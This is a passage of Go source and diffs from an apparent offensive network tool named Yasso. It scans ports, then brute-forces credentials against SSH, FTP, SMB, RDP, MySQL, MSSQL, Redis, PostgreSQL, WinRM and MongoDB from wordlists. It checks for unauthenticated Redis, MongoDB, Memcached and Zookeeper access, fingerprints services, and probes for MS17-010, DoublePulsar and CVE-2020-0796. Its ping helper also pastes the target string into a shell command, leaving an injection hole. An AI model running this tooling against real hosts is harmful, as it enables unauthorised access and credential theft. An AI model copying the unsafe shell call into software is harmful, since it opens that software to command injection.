// 做端口扫描
mutex.Lock()
p := NewRunner(ports, ip, s.thread, tcpConn).RunEnumeration()
portAlive[ip] = append(portAlive[ip], p...)
logger.JSONSave(ip, logger.PortSave, p) // 存储可用端口
mutex.Unlock()
}
}()
}
for _, ip := range ipAlive {
// 带有端口的不进行扫描,直接加入
if strings.Count(ip, ":") == 1 {
t := strings.Split(ip, ":")
p, err := strconv.Atoi(t[1])
if err != nil {
continue
}
portAlive[t[0]] = append(portAlive[t[0]], p)
continue
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait()
// 6. 端口扫描结束,根据用户指示,判断是否进行爆破
for k, v := range portAlive {
// 遍历每一个ip的每一个端口看看属于哪一个服务
v = parse.RemoveDuplicate(v) // 去个重
sort.Ints(v) // 排序
for _, p := range v {
switch p {
case 22:
if s.noService == false {
information := VersionSSH(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
})
logger.JSONSave(k, logger.InformationSave, "ssh", information)
}
brute.NewBrute(user, pass, SshConnByUser, "ssh", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 21:
// 未授权
if ok, _ := FtpConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
continue
}
// 爆破ftp
brute.NewBrute(user, pass, FtpConn, "ftp", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 445:
// 未授权
if ok, _ := SmbConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "administrator", ""); ok {
logger.Info(fmt.Sprintf("smb %s unauthorized", k))
// 未授权,用户名密码均为null
logger.JSONSave(k, logger.WeakPassSave, "smb", map[string]string{"null": "null"})
continue
}
brute.NewBrute(user, pass, SmbConn, "smb", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 1433:
if s.noService == false {
ok, information := VersionMssql(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
})
// 存在ok
if ok {
logger.JSONSave(k, logger.InformationSave, "mssql", information)
}
}
brute.NewBrute(user, pass, MssqlConn, "mssql", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 2181:
if s.noService == false {
if ok, _ := ZookeeperConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
// 未授权
logger.JSONSave(k, logger.WeakPassSave, "zookeeper", map[string]string{"null": "null"})
continue
}
}
case 3306:
// 未授权
if _, ok, _ := MySQLConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
logger.Info(fmt.Sprintf("mysql %s unauthorized", k))
// 未授权,用户名密码均为null
logger.JSONSave(k, logger.WeakPassSave, "mysql", map[string]string{"null": "null"})
continue
} else {
brute.NewBrute(user, pass, MySQLConn, "mysql", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
}
case 3389:
// 仅探测主机版本
if s.noService == false {
if ok, information := VersionRdp(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
// 版本
logger.JSONSave(k, logger.InformationSave, "rdp", information)
continue
}
}
case 6379:
if s.noService == false {
if _, ok, _ := RedisUnAuthConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
logger.JSONSave(k, logger.WeakPassSave, "redis", map[string]string{"null": "null"})
continue
}
}
brute.NewBrute(user, pass, RedisAuthConn, "redis", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 5432:
brute.NewBrute(user, pass, PostgreConn, "postgres", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 5985:
brute.NewBrute(user, pass, WinRMAuth, "winrm", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
case 11211:
if s.noService == false {
if ok, _ := MemcacheConn(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
logger.JSONSave(k, logger.WeakPassSave, "memcache", map[string]string{"null": "null"})
continue
}
}
case 27017:
if s.noService == false {
if ok, _ := MongoUnAuth(config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, "", ""); ok {
logger.JSONSave(k, logger.WeakPassSave, "mongodb", map[string]string{"null": "null"})
break
}
}
brute.NewBrute(user, pass, MongoAuth, "mongodb", config.ServiceConn{
Hostname: k,
Port: p,
Timeout: s.timeout,
}, s.thread, s.noBrute, "").RunEnumeration()
default:
if s.noService == false {
webscan.DisMapConn(k, p, s.timeout)
}
continue
}
}
}
if s.noService == false {
// 8. 进行win服务扫描扫描
ipChannel = make(chan string, 1000) // 第四次复用
for i := 0; i < s.thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for ip := range ipChannel {
mutex.Lock()
func(ip string) {
ok, information := NbnsScanConn(ip, 137, s.timeout)
if ok {
logger.JSONSave(ip, logger.InformationSave, "netbios", information)
}
}(ip)
func(ip string) {
ok, information := SmbScanConn(ip, 445, s.timeout)
if ok {
logger.JSONSave(ip, logger.InformationSave, "smb", information)
}
}(ip)
func(ip string) {
ok, information := OxidScanConn(ip, 135, s.timeout)
if ok {
logger.JSONSave(ip, logger.InformationSave, "oxid", information)
}
}(ip)
mutex.Unlock()
}
}()
}
for _, ip := range ipAlive {
// 带有端口的不进行扫描,直接加入
if strings.Count(ip, ":") == 1 && (strings.Split(ip, ":")[0] != strconv.Itoa(139) || strings.Split(ip, ":")[0] != strconv.Itoa(135) || strings.Split(ip, ":")[0] != strconv.Itoa(445)) {
continue
} else if strings.Split(ip, ":")[0] == strconv.Itoa(139) || strings.Split(ip, ":")[0] == strconv.Itoa(135) || strings.Split(ip, ":")[0] == strconv.Itoa(445) {
ipChannel <- strings.Split(ip, ":")[0]
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait() // 等待结束
}
// 7. 进行主机漏洞扫描
if s.noVulcan == false {
ipChannel = make(chan string, 1000) // 第四次复用
for i := 0; i < s.thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for ip := range ipChannel {
// 做端口扫描
mutex.Lock()
func() {
ok := Ms17010Conn(config.ServiceConn{
Hostname: ip,
Port: 445,
Domain: "",
Timeout: s.timeout,
PublicKey: "",
})
if ok {
logger.JSONSave(ip, logger.VulnerabilitySave, "MS17010")
}
}()
func() {
ok := SmbGhostConn(config.ServiceConn{
Hostname: ip,
Port: 445,
Domain: "",
Timeout: s.timeout,
PublicKey: "",
})
if ok {
logger.JSONSave(ip, logger.VulnerabilitySave, "CVE-2020-0796")
}
}()
mutex.Unlock()
}
}()
}
for _, ip := range ipAlive {
// 带有端口的不进行扫描,直接加入
if strings.Count(ip, ":") == 1 && strings.Split(ip, ":")[0] != strconv.Itoa(445) {
continue
} else if strings.Split(ip, ":")[0] == strconv.Itoa(445) {
ipChannel <- strings.Split(ip, ":")[0]
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait() // 等待结束
}
logger.LoggerSave()
}

278
core/plugin/brute.go Normal file
View File

@@ -0,0 +1,278 @@
package plugin
import (
"Yasso/config"
"Yasso/config/banner"
"Yasso/core/brute"
"Yasso/core/logger"
"Yasso/core/parse"
"fmt"
"strconv"
"strings"
"sync"
"time"
)
var BurpMap = map[string]interface{}{
"ssh": SshConnByUser,
"mongodb": MongoAuth,
"mysql": MySQLConn,
"mssql": MssqlConn,
"rdp": RdpConn,
"redis": RedisAuthConn,
"ftp": FtpConn,
"smb": SmbConn,
"winrm": WinRMAuth,
"postgres": PostgreConn,
}
func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) {
banner.Banner()
defer func() {
logger.Info("brute service complete")
}()
// 先解析传过来的ips列表
if ipd == "" {
logger.Fatal("need ips to parse")
return
}
ips, err := parse.HandleIps(ipd)
if err != nil {
return
}
var userDic, passDic []string
if user != "" {
userDic, err = parse.ReadFile(user)
}
if pass != "" {
passDic, err = parse.ReadFile(pass)
}
if err != nil {
logger.Fatal("dic file is not found")
return
}
var wg sync.WaitGroup
var ipChannel = make(chan string, 1000)
var ipAlive []string
if isAlive == true {
for i := 0; i < thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for ip := range ipChannel {
if ping(ip) == true {
logger.Info(fmt.Sprintf("%v is alive (ping)", ip))
ipAlive = append(ipAlive, ip)
}
}
}()
}
for _, ip := range ips {
// 带有端口的不进行扫描,直接加入
if strings.Contains(ip, ":") {
ipAlive = append(ipAlive, ip)
continue
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait()
} else {
ipAlive = ips
}
logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ",")))
// 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445
for _, each := range strings.Split(module, ",") { // 遍历每一个服务
// 这里获取到对应的服务和端口
service := strings.Split(each, ":")
if len(service) >= 3 || len(service) <= 0 {
logger.Fatal("brute service format is error")
break
}
switch service[0] {
case "ssh":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 22
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"])
case "mongo":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 27017
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"])
case "mysql":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 3306
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"])
case "rdp":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 3389
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"])
case "redis":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 6379
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"])
case "smb":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 445
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"])
case "winrm":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 5985
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"])
case "postgres":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 5432
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"])
case "mssql":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 1433
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"])
case "ftp":
var p int
if len(service) == 2 {
// 带端口,采用用户自带端口
p, err = strconv.Atoi(service[1])
} else {
// 不带端口,采用默认
p = 21
}
if err != nil {
logger.Fatal("port number useless")
break
}
run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"])
default:
logger.Fatal(fmt.Sprintf("not found service %s", service[0]))
return
}
}
}
// 执行爆破的函数
func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) {
var ipChannel = make(chan string, 1000) // 二次复用
var mutex sync.Mutex
var wg sync.WaitGroup
for i := 0; i < thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for ip := range ipChannel {
// 这里获取到每一个ip
mutex.Lock()
brute.NewBrute(user, pass, method, service, config.ServiceConn{
Hostname: ip,
Port: port,
Timeout: time.Duration(timeout),
}, thread, false, "").RunEnumeration()
mutex.Unlock()
}
}()
}
for _, ip := range ips {
// 带有端口的不进行扫描,直接直接跳过
if strings.Count(ip, ":") == 1 {
if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同
ipChannel <- strings.Split(ip, ":")[0]
} else {
continue
}
} else {
ipChannel <- ip
}
}
close(ipChannel) // 防止死锁
wg.Wait()
}

View File

@@ -1,7 +1,8 @@
package cmd
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"encoding/binary"
"encoding/hex"
"fmt"
@@ -20,25 +21,24 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func Ms17010Conn(info config.HostIn) {
conn, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut)
func Ms17010Conn(info config.ServiceConn) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
//Println()("[!] New Connect failed",err)
return
return false
}
status, err := RequestMs17010(conn, info.Host)
status, err := RequestMs17010(conn, info.Hostname)
if err != nil {
//Println()("[!] Request Ms17010 failed",err)
return
return false
}
if status == true {
return
return true
}
return false
}
func RequestMs17010(conn net.Conn, ip string) (bool, error) {
defer conn.Close()
err := conn.SetDeadline(time.Now().Add(TimeDuration))
err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond))
if err != nil {
return false, err
}
@@ -74,7 +74,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Println("invalid session setup AndX response")
logger.Fatal("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
@@ -116,7 +116,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) {
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
//color.Magenta("%s\tMS17-010\t(%s)\n", ip, os)
Println(fmt.Sprintf("[+] %v Find MS17010 (%s)", ip, os))
logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os))
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]

27
core/plugin/ftp.go Normal file
View File

@@ -0,0 +1,27 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"fmt"
"github.com/jlaffaye/ftp"
"net"
"time"
)
func FtpConn(info config.ServiceConn, user, pass string) (bool, error) {
var flag = false
c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c))
if err == nil {
err = conn.Login(user, pass)
if err == nil {
if pass == "" {
logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
}
flag = true
}
}
return flag, err
}

78
core/plugin/grdp.go Normal file
View File

@@ -0,0 +1,78 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"Yasso/pkg/grdp"
"Yasso/pkg/grdp/glog"
"bytes"
"encoding/hex"
"fmt"
"net"
)
func RdpConn(info config.ServiceConn, user, pass string) (bool, error) {
var err error
var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port)
g := grdp.NewClient(host, glog.NONE)
//SSL协议登录测试
err = g.LoginForSSL(info.Domain, user, pass)
if err == nil {
return true, nil
}
if err.Error() != "PROTOCOL_RDP" {
return false, err
}
//RDP协议登录测试
err = g.LoginForRDP(info.Domain, user, pass)
if err == nil {
return true, nil
} else {
return false, nil
}
}
func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false, ""
}
msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00"
_, err = conn.Write([]byte(msg))
if err != nil {
return false, ""
}
reply := make([]byte, 256)
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
var buffer [256]byte
if bytes.Equal(reply[:], buffer[:]) {
return false, ""
} else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" {
return false, ""
}
os := map[string]string{}
os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2"
os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008"
os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2"
os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012"
os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2"
os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016"
os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019"
var banner string
for k, v := range os {
if k == hex.EncodeToString(reply[0:19]) {
banner = v
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
}
}
banner = hex.EncodeToString(reply[0:19])
_ = reply
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
}

View File

@@ -1,88 +1,17 @@
package cmd
package plugin
import (
"bytes"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
OS = runtime.GOOS // 系统架构
Alive []string // 存活的ip列表
)
var pingCmd = &cobra.Command{
Use: "ping",
Short: "Use ping to scanner alive host (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
} else {
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will ping %d host", len(ips)))
_ = execute(ips, RunICMP)
},
}
func init() {
pingCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap)")
pingCmd.Flags().BoolVarP(&RunICMP, "icmp", "i", false, "Icmp packets are sent to check whether the host is alive(need root)")
rootCmd.AddCommand(pingCmd)
}
func execute(ips []string, r bool) []string {
var wg sync.WaitGroup
// 修改ants池的并发方式
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
var ipt string
if r == true {
// 127.0.0.1:8080格式
if strings.Contains(ip.(string), ":") {
ipt = strings.Split(ip.(string), ":")[0]
} else {
ipt = ip.(string)
}
if icmp(ipt) {
Println(fmt.Sprintf("[+] Find %v (icmp)", ip))
Alive = append(Alive, ip.(string))
}
} else {
if strings.Contains(ip.(string), ":") {
ipt = strings.Split(ip.(string), ":")[0]
} else {
ipt = ip.(string)
}
if ping(ipt) {
Println(fmt.Sprintf("[+] Find %v (ping)", ip))
Alive = append(Alive, ip.(string))
}
}
wg.Done()
})
for _, ip := range ips {
wg.Add(1)
_ = p.Invoke(ip)
}
wg.Wait()
return Alive
}
func ping(ip string) bool {
var cmd *exec.Cmd
switch OS {
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "linux":

View File

@@ -1,16 +1,16 @@
package cmd
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"bytes"
"fmt"
"net"
"time"
)
// 未授权
func MemcacheConn(info config.HostIn) (bool, error) {
client, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) {
client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false, err
}
@@ -20,7 +20,7 @@ func MemcacheConn(info config.HostIn) (bool, error) {
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(info.TimeOut)))
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
@@ -28,7 +28,7 @@ func MemcacheConn(info config.HostIn) (bool, error) {
n, err := client.Read(reply)
if err == nil {
if bytes.Contains(reply[:n], []byte("STAT")) {
Println(fmt.Sprintf("[+] Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Host, info.Port)))
logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port)))
return true, nil
}
}

83
core/plugin/mongo.go Normal file
View File

@@ -0,0 +1,83 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"fmt"
"gopkg.in/mgo.v2"
"net"
"strings"
"time"
)
func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) {
conf := &mgo.DialInfo{
Dial: func(addr net.Addr) (net.Conn, error) {
return net.DialTimeout("tcp", addr.String(), info.Timeout)
},
Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)},
Timeout: info.Timeout,
Database: "test",
Source: "admin",
Username: user,
Password: pass,
PoolLimit: 4096,
Direct: false,
}
db, err := mgo.DialWithInfo(conf)
if err == nil {
err = db.Ping()
if err != nil {
return nil, false, err
}
return db, true, nil
}
return nil, false, err
}
func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) {
var flag = false
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port)
conn, err := net.DialTimeout("tcp", connString, info.Timeout)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
if err != nil {
return false, err
}
_, err = conn.Write(data1)
if err != nil {
return false, err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(data2)
if err != nil {
return false, err
}
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname))
}
}
return flag, nil
}

78
core/plugin/mssql.go Normal file
View File

@@ -0,0 +1,78 @@
package plugin
import (
"Yasso/config"
"Yasso/core/logger"
"bytes"
"database/sql"
"encoding/hex"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"net"
"strconv"
"time"
)
func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
var flag = false
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout))
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
db.SetMaxIdleConns(0)
err = db.Ping()
if err == nil {
flag = true
return db, flag, nil
}
}
return db, flag, err
}
func VersionMssql(info config.ServiceConn) (bool, string) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
if err != nil {
return false, ""
}
msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32"
_, err = conn.Write([]byte(msg))
if err != nil {
return false, ""
}
reply := make([]byte, 256)
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
var buffer [256]byte
if bytes.Equal(reply[:], buffer[:]) {
return false, ""
} else if hex.EncodeToString(reply[0:4]) != "04010025" {
return false, ""
}
v, status := getVersion(reply)
if status {
logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v))
return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v)
}
return false, ""
}
func getVersion(reply []byte) (string, bool) {
m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32)
if err != nil {
return "", false
}
s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32)
if err != nil {
return "", false
}
r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32)
if err != nil {
return "", false
}
v := fmt.Sprintf("%d.%d.%d", m, s, r)
return v, true
}

25
core/plugin/mysql.go Normal file
View File

@@ -0,0 +1,25 @@
package plugin
import (
"Yasso/config"
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"time"
)
func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
var flag = false
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout)
db, err := sql.Open("mysql", address)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout))
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
//defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return db, flag, err
}

134
core/plugin/nbnsscan.go Normal file
View File

@@ -0,0 +1,134 @@
package plugin
import (
"Yasso/core/logger"
"bytes"
"fmt"
"net"
"strconv"
"strings"
"time"
)
func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) {
conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout)
if err != nil {
return false, ""
}
msg := []byte{
0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0,
0x21, 0x0, 0x1,
}
_, err = conn.Write(msg)
if err != nil {
if conn != nil {
_ = conn.Close()
}
return false, ""
}
reply := make([]byte, 256)
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout)))
if err != nil {
if conn != nil {
_ = conn.Close()
}
return false, ""
}
_, _ = conn.Read(reply)
if conn != nil {
_ = conn.Close()
}
var buffer [256]byte
if bytes.Equal(reply[:], buffer[:]) {
return false, ""
}
/*
Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes
For unique names:
00: Workstation Service (workstation name)
03: Windows Messenger service
06: Remote Access Service
20: File Service (also called Host Record)
21: Remote Access Service client
1B: Domain Master Browser Primary Domain Controller for a domain
1D: Master Browser
For group names:
00: Workstation Service (workgroup/domain name)
1C: Domain Controllers for a domain (group record with up to 25 IP addresses)
1E: Browser Service Elections
*/
var n int
NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:]))
var flagGroup string
var flagUnique string
var flagDC string
for i := 0; i < NumberFoNames; i++ {
data := reply[n+57+18*i : n+57+18*i+18]
if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" {
if string(data[15:16]) == "\x1C" {
flagDC = "Domain Controllers"
}
if string(data[15:16]) == "\x00" {
flagGroup = nbnsByteToStringParse(data[0:16])
}
if string(data[14:16]) == "\x02\x01" {
flagGroup = nbnsByteToStringParse(data[0:16])
}
} else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" {
